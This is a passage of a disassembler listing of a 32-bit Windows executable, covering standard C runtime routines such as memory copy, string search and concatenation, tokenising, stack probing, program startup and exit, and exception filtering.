		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40254C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_402540
		std
		rep movsd
		cld
		jmp	ds:off_402660[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_402540:				; CODE XREF: sub_402380+1B1j
					; sub_402380+208j ...
		neg	ecx
		jmp	ds:off_402610[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40254C:				; CODE XREF: sub_402380+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_402564
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_402564+4[eax*4]
; ---------------------------------------------------------------------------


loc_402564:				; CODE XREF: sub_402380+1D6j
					; DATA XREF: sub_402380+1DDr
		jmp	ds:off_402660[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_402577+1
; ---------------------------------------------------------------------------
		cwde
		and	eax, 25C00040h
		inc	eax


loc_402577:				; DATA XREF: sub_402380+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_402540
		std
		rep movsd
		cld
		jmp	ds:off_402660[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_402540
		std
		rep movsd
		cld
		jmp	ds:off_402660[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_402540
		std
		rep movsd
		cld
		jmp	ds:off_402660[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_402614
		dd offset loc_40261C
		dd offset loc_402624
		dd offset loc_40262C
		dd offset loc_402634
		dd offset loc_40263C
		dd offset loc_402644
off_402610	dd offset loc_402657	; DATA XREF: sub_402380+1C2r
; ---------------------------------------------------------------------------


loc_402614:				; DATA XREF: sub_402380+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40261C:				; DATA XREF: sub_402380+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_402624:				; DATA XREF: sub_402380+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40262C:				; DATA XREF: sub_402380+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_402634:				; DATA XREF: sub_402380+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40263C:				; DATA XREF: sub_402380+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_402644:				; DATA XREF: sub_402380+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_402657:				; CODE XREF: sub_402380+1C2j
					; DATA XREF: sub_402380:off_402610o
		jmp	ds:off_402660[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_402660	dd offset loc_402670	; DATA XREF: sub_402380+1B7r
					; sub_402380:loc_402564r ...
		dd offset loc_402678
		dd offset loc_402688
		dd offset loc_40269C
; ---------------------------------------------------------------------------


loc_402670:				; CODE XREF: sub_402380+1B7j
					; sub_402380:loc_402564j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_402678:				; CODE XREF: sub_402380+1B7j
					; sub_402380:loc_402564j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_402688:				; CODE XREF: sub_402380+1B7j
					; sub_402380:loc_402564j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40269C:				; CODE XREF: sub_402380+1B7j
					; sub_402380:loc_402564j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_402380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4026C0	proc near		; CODE XREF: sub_401583+8p
					; sub_40380C+DFp ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4026E0


loc_4026CC:				; CODE XREF: sub_4026C0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_4026CC


loc_4026E0:				; CODE XREF: sub_4026C0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4026C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4026F0	proc near		; CODE XREF: sub_401A69+2Dp
					; sub_401A69+50p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_40276A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_402757


loc_402708:				; CODE XREF: sub_4026F0+52j
					; sub_4026F0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_40272A
		test	al, al
		jz	short loc_402724


loc_402719:				; CODE XREF: sub_4026F0+32j
		mov	al, [esi]
		inc	esi


loc_40271C:				; CODE XREF: sub_4026F0+3Fj
		cmp	al, dl
		jz	short loc_40272A
		test	al, al
		jnz	short loc_402719


loc_402724:				; CODE XREF: sub_4026F0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40272A:				; CODE XREF: sub_4026F0+23j
					; sub_4026F0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_40271C
		lea	edi, [esi-1]


loc_402734:				; CODE XREF: sub_4026F0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_402763
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_402708
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_402763
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_402734
		jmp	short loc_402708
; ---------------------------------------------------------------------------


loc_402757:				; CODE XREF: sub_4026F0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	sub_402A86
; ---------------------------------------------------------------------------


loc_402763:				; CODE XREF: sub_4026F0+49j
					; sub_4026F0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40276A:				; CODE XREF: sub_4026F0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_4026F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402770	proc near		; CODE XREF: sub_401B59+103p
					; sub_401B59+14Cp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_402789:				; CODE XREF: sub_402770+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_402789
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_4027B1
		mov	edx, ds:dword_4070CC


loc_4027B1:				; CODE XREF: sub_402770+39j
					; sub_402770+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_4027D1
		test	al, al
		jz	short loc_4027D1
		inc	edx
		jmp	short loc_4027B1
; ---------------------------------------------------------------------------


loc_4027D1:				; CODE XREF: sub_402770+58j
					; sub_402770+5Cj
		mov	ebx, edx


loc_4027D3:				; CODE XREF: sub_402770+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_4027F7
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_4027F3
		inc	edx
		jmp	short loc_4027D3
; ---------------------------------------------------------------------------


loc_4027F3:				; CODE XREF: sub_402770+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_4027F7:				; CODE XREF: sub_402770+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_4070CC, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_402770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402810	proc near		; CODE XREF: sub_401B59+E9p
					; sub_401B59+270p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_402881
sub_402810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402820	proc near		; CODE XREF: sub_401F4B+15Dp
					; sub_401F4B+16Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_40283C


loc_40282D:				; CODE XREF: sub_402820+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_40286F
		test	ecx, 3
		jnz	short loc_40282D


loc_40283C:				; CODE XREF: sub_402820+Bj
					; sub_402820+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40283C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40287E
		test	ah, ah
		jz	short loc_402879
		test	eax, 0FF0000h
		jz	short loc_402874
		test	eax, 0FF000000h
		jz	short loc_40286F
		jmp	short loc_40283C
; ---------------------------------------------------------------------------


loc_40286F:				; CODE XREF: sub_402820+12j
					; sub_402820+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_402881
; ---------------------------------------------------------------------------


loc_402874:				; CODE XREF: sub_402820+44j
		lea	edi, [ecx-2]
		jmp	short loc_402881
; ---------------------------------------------------------------------------


loc_402879:				; CODE XREF: sub_402820+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_402881
; ---------------------------------------------------------------------------


loc_40287E:				; CODE XREF: sub_402820+39j
		lea	edi, [ecx-4]


loc_402881:				; CODE XREF: sub_402810+5j
					; sub_402820+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_4028A6


loc_40288D:				; CODE XREF: sub_402820+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_4028F8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_40288D
		jmp	short loc_4028A6
; ---------------------------------------------------------------------------


loc_4028A1:				; CODE XREF: sub_402820+9Ej
					; sub_402820+B8j
		mov	[edi], edx
		add	edi, 4


loc_4028A6:				; CODE XREF: sub_402820+6Bj
					; sub_402820+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4028A1
		test	dl, dl
		jz	short loc_4028F8
		test	dh, dh
		jz	short loc_4028EF
		test	edx, 0FF0000h
		jz	short loc_4028E2
		test	edx, 0FF000000h
		jz	short loc_4028DA
		jmp	short loc_4028A1
; ---------------------------------------------------------------------------


loc_4028DA:				; CODE XREF: sub_402820+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4028E2:				; CODE XREF: sub_402820+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4028EF:				; CODE XREF: sub_402820+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4028F8:				; CODE XREF: sub_402820+72j
					; sub_402820+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_402820	endp


; =============== S U B	R O U T	I N E =======================================



sub_402900	proc near		; CODE XREF: sub_401E8B+19p

arg_0		= dword	ptr  4

		cmp	ds:dword_406E7C, 1
		jle	short loc_40291A
		push	107h
		push	[esp+4+arg_0]
		call	sub_402B3C
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40291A:				; CODE XREF: sub_402900+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_406C70
		mov	ax, [ecx+eax*2]
		and	eax, 107h
		retn
sub_402900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40292E	proc near		; CODE XREF: start+7j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_405150
		push	offset sub_4035A8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	ds:dword_4050D4	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_4070F4, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_4070F0, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_4070EC, ecx
		shr	eax, 10h
		mov	ds:dword_4070E8, eax
		xor	esi, esi
		push	esi
		call	sub_403472
		pop	ecx
		test	eax, eax
		jnz	short loc_40299A
		push	1Ch
		call	sub_402A49
		pop	ecx


loc_40299A:				; CODE XREF: sub_40292E+62j
		mov	[ebp+var_4], esi
		call	sub_4032C7
		call	ds:dword_4050D0	; GetCommandLineA
		mov	ds:dword_4075F8, eax
		call	sub_403195
		mov	ds:dword_4070D0, eax
		call	sub_402F48
		call	sub_402E8F
		call	sub_402BB1
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	ds:dword_4050CC	; GetStartupInfoA
		call	sub_402E37
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_4029E7
		movzx	eax, [ebp+var_2C]
		jmp	short loc_4029EA
; ---------------------------------------------------------------------------


loc_4029E7:				; CODE XREF: sub_40292E+B1j
		push	0Ah
		pop	eax


loc_4029EA:				; CODE XREF: sub_40292E+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	ds:dword_4050C8	; GetModuleHandleA
		push	eax
		call	sub_4020D9
		mov	[ebp+var_60], eax
		push	eax
		call	sub_402BDE
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_402CB3
		pop	ecx
		pop	ecx
		retn
sub_40292E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_402BEF

; =============== S U B	R O U T	I N E =======================================



sub_402A24	proc near		; CODE XREF: sub_402E8F+4Ep
					; sub_402E8F+7Dp ...

arg_0		= dword	ptr  4

		cmp	ds:dword_4070D8, 1
		jnz	short loc_402A32
		call	sub_403680


loc_402A32:				; CODE XREF: sub_402A24+7j
		push	[esp+arg_0]
		call	sub_4036B9
		push	0FFh
		call	ds:off_406C60
		pop	ecx
		pop	ecx
		retn
sub_402A24	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A49	proc near		; CODE XREF: sub_40292E+66p

arg_0		= dword	ptr  4

		cmp	ds:dword_4070D8, 1
		jnz	short loc_402A57
		call	sub_403680


loc_402A57:				; CODE XREF: sub_402A49+7j
		push	[esp+arg_0]
		call	sub_4036B9
		pop	ecx
		push	0FFh
		call	ds:dword_4050D8	; ExitProcess
		retn
sub_402A49	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_402A86


loc_402A70:				; CODE XREF: sub_402A86+17j
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_402A86
; ---------------------------------------------------------------------------
		align 10h
		xor	eax, eax
		mov	al, [esp+8]

; =============== S U B	R O U T	I N E =======================================



sub_402A86	proc near		; CODE XREF: sub_4026F0+6Ej

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00402A70 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_402AAB


loc_402A98:				; CODE XREF: sub_402A86+23j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_402A70
		test	cl, cl
		jz	short loc_402AF4
		test	edx, 3
		jnz	short loc_402A98


loc_402AAB:				; CODE XREF: sub_402A86+10j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_402AB6:				; CODE XREF: sub_402A86+5Bj
					; sub_402A86+6Aj ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_402AF8
		and	eax, 81010100h
		jz	short loc_402AB6
		and	eax, 1010100h
		jnz	short loc_402AF2
		and	esi, 80000000h
		jnz	short loc_402AB6


loc_402AF2:				; CODE XREF: sub_402A86+62j
					; sub_402A86+7Bj ...
		pop	esi
		pop	edi


loc_402AF4:				; CODE XREF: sub_402A86+1Bj
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_402AF8:				; CODE XREF: sub_402A86+54j
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_402B35
		test	al, al
		jz	short loc_402AF2
		cmp	ah, bl
		jz	short loc_402B2E
		test	ah, ah
		jz	short loc_402AF2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_402B27
		test	al, al
		jz	short loc_402AF2
		cmp	ah, bl
		jz	short loc_402B20
		test	ah, ah
		jz	short loc_402AF2
		jmp	short loc_402AB6
; ---------------------------------------------------------------------------


loc_402B20:				; CODE XREF: sub_402A86+92j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402B27:				; CODE XREF: sub_402A86+8Aj
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402B2E:				; CODE XREF: sub_402A86+7Fj
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402B35:				; CODE XREF: sub_402A86+77j
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_402A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B3C	proc near		; CODE XREF: sub_402900+12p

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_402B5A
		mov	ecx, ds:off_406C70
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_402BAC
; ---------------------------------------------------------------------------


loc_402B5A:				; CODE XREF: sub_402B3C+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_406C70
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_402B7F
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_402B88
; ---------------------------------------------------------------------------


loc_402B7F:				; CODE XREF: sub_402B3C+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_402B88:				; CODE XREF: sub_402B3C+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_40380C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_402BA8
		leave
		retn
; ---------------------------------------------------------------------------


loc_402BA8:				; CODE XREF: sub_402B3C+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_402BAC:				; CODE XREF: sub_402B3C+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_402B3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BB1	proc near		; CODE XREF: sub_40292E+93p
		mov	eax, ds:dword_4075F4
		test	eax, eax
		jz	short loc_402BBC
		call	eax


loc_402BBC:				; CODE XREF: sub_402BB1+7j
		push	offset dword_406010
		push	offset dword_406008
		call	sub_402C99
		push	offset dword_406004
		push	offset dword_406000
		call	sub_402C99
		add	esp, 10h
		retn
sub_402BB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BDE	proc near		; CODE XREF: sub_40292E+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_402C00
		add	esp, 0Ch
		retn
sub_402BDE	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BEF	proc near		; CODE XREF: .text:00402A1Fp
					; sub_402A24+1Cp
					; DATA XREF: ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_402C00
		add	esp, 0Ch
		retn
sub_402BEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_402C00	proc near		; CODE XREF: sub_402BDE+8p
					; sub_402BEF+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	ds:dword_407124, edi
		jnz	short loc_402C1D
		push	[esp+4+arg_0]
		call	ds:dword_4050E0	; GetCurrentProcess
		push	eax
		call	ds:dword_4050DC	; TerminateProcess


loc_402C1D:				; CODE XREF: sub_402C00+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	ds:dword_407120, edi
		mov	ds:byte_40711C,	bl
		jnz	short loc_402C71
		mov	eax, ds:dword_4075F0
		test	eax, eax
		jz	short loc_402C60
		mov	ecx, ds:dword_4075EC
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_402C5F


loc_402C4C:				; CODE XREF: sub_402C00+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402C54
		call	eax


loc_402C54:				; CODE XREF: sub_402C00+50j
		sub	esi, 4
		cmp	esi, ds:dword_4075F0
		jnb	short loc_402C4C


loc_402C5F:				; CODE XREF: sub_402C00+4Aj
		pop	esi


loc_402C60:				; CODE XREF: sub_402C00+3Cj
		push	offset dword_406018
		push	offset dword_406014
		call	sub_402C99
		pop	ecx
		pop	ecx


loc_402C71:				; CODE XREF: sub_402C00+33j
		push	offset dword_406020
		push	offset dword_40601C
		call	sub_402C99
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_402C97
		push	[esp+4+arg_0]
		mov	ds:dword_407124, edi
		call	ds:dword_4050D8	; ExitProcess


loc_402C97:				; CODE XREF: sub_402C00+85j
		pop	edi
		retn
sub_402C00	endp


; =============== S U B	R O U T	I N E =======================================



sub_402C99	proc near		; CODE XREF: sub_402BB1+15p
					; sub_402BB1+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_402C9E:				; CODE XREF: sub_402C99+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_402CB1
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402CAC
		call	eax


loc_402CAC:				; CODE XREF: sub_402C99+Fj
		add	esi, 4
		jmp	short loc_402C9E
; ---------------------------------------------------------------------------


loc_402CB1:				; CODE XREF: sub_402C99+9j
		pop	esi
		retn
sub_402C99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402CB3	proc near		; CODE XREF: sub_40292E+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_402DF4
		test	eax, eax
		pop	ecx
		jz	loc_402DE8
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_402DE8
		cmp	ebx, 5
		jnz	short loc_402CE4
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_402DF1
; ---------------------------------------------------------------------------


loc_402CE4:				; CODE XREF: sub_402CB3+23j
		cmp	ebx, 1
		jz	loc_402DE3
		mov	ecx, ds:dword_407128
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_407128, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_402DD3
		mov	ecx, ds:dword_406F00
		mov	edx, ds:dword_406F04
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_402D33
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:406E90h[esi*4]


loc_402D2A:				; CODE XREF: sub_402CB3+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_402D2A


loc_402D33:				; CODE XREF: sub_402CB3+69j
		mov	eax, [eax]
		mov	esi, ds:dword_406F0C
		cmp	eax, 0C000008Eh
		jnz	short loc_402D4E
		mov	ds:dword_406F0C, 83h
		jmp	short loc_402DBE
; ---------------------------------------------------------------------------


loc_402D4E:				; CODE XREF: sub_402CB3+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_402D61
		mov	ds:dword_406F0C, 81h
		jmp	short loc_402DBE
; ---------------------------------------------------------------------------


loc_402D61:				; CODE XREF: sub_402CB3+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_402D74
		mov	ds:dword_406F0C, 84h
		jmp	short loc_402DBE
; ---------------------------------------------------------------------------


loc_402D74:				; CODE XREF: sub_402CB3+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_402D87
		mov	ds:dword_406F0C, 85h
		jmp	short loc_402DBE
; ---------------------------------------------------------------------------


loc_402D87:				; CODE XREF: sub_402CB3+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_402D9A
		mov	ds:dword_406F0C, 82h
		jmp	short loc_402DBE
; ---------------------------------------------------------------------------


loc_402D9A:				; CODE XREF: sub_402CB3+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_402DAD
		mov	ds:dword_406F0C, 86h
		jmp	short loc_402DBE
; ---------------------------------------------------------------------------


loc_402DAD:				; CODE XREF: sub_402CB3+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_402DBE
		mov	ds:dword_406F0C, 8Ah


loc_402DBE:				; CODE XREF: sub_402CB3+99j
					; sub_402CB3+ACj ...
		push	ds:dword_406F0C
		push	8
		call	ebx	; _hread
		pop	ecx
		mov	ds:dword_406F0C, esi
		pop	ecx
		pop	esi
		jmp	short loc_402DDB
; ---------------------------------------------------------------------------


loc_402DD3:				; CODE XREF: sub_402CB3+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx	; _hread
		pop	ecx


loc_402DDB:				; CODE XREF: sub_402CB3+11Ej
		mov	eax, [ebp+arg_0]
		mov	ds:dword_407128, eax


loc_402DE3:				; CODE XREF: sub_402CB3+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_402DF1
; ---------------------------------------------------------------------------


loc_402DE8:				; CODE XREF: sub_402CB3+Fj
					; sub_402CB3+1Aj
		push	[ebp+arg_4]
		call	ds:dword_4050E4	; UnhandledExceptionFilter


loc_402DF1:				; CODE XREF: sub_402CB3+2Cj
					; sub_402CB3+133j
		pop	ebx
		pop	ebp
		retn
sub_402CB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_402DF4	proc near		; CODE XREF: sub_402CB3+7p

arg_0		= dword	ptr  4

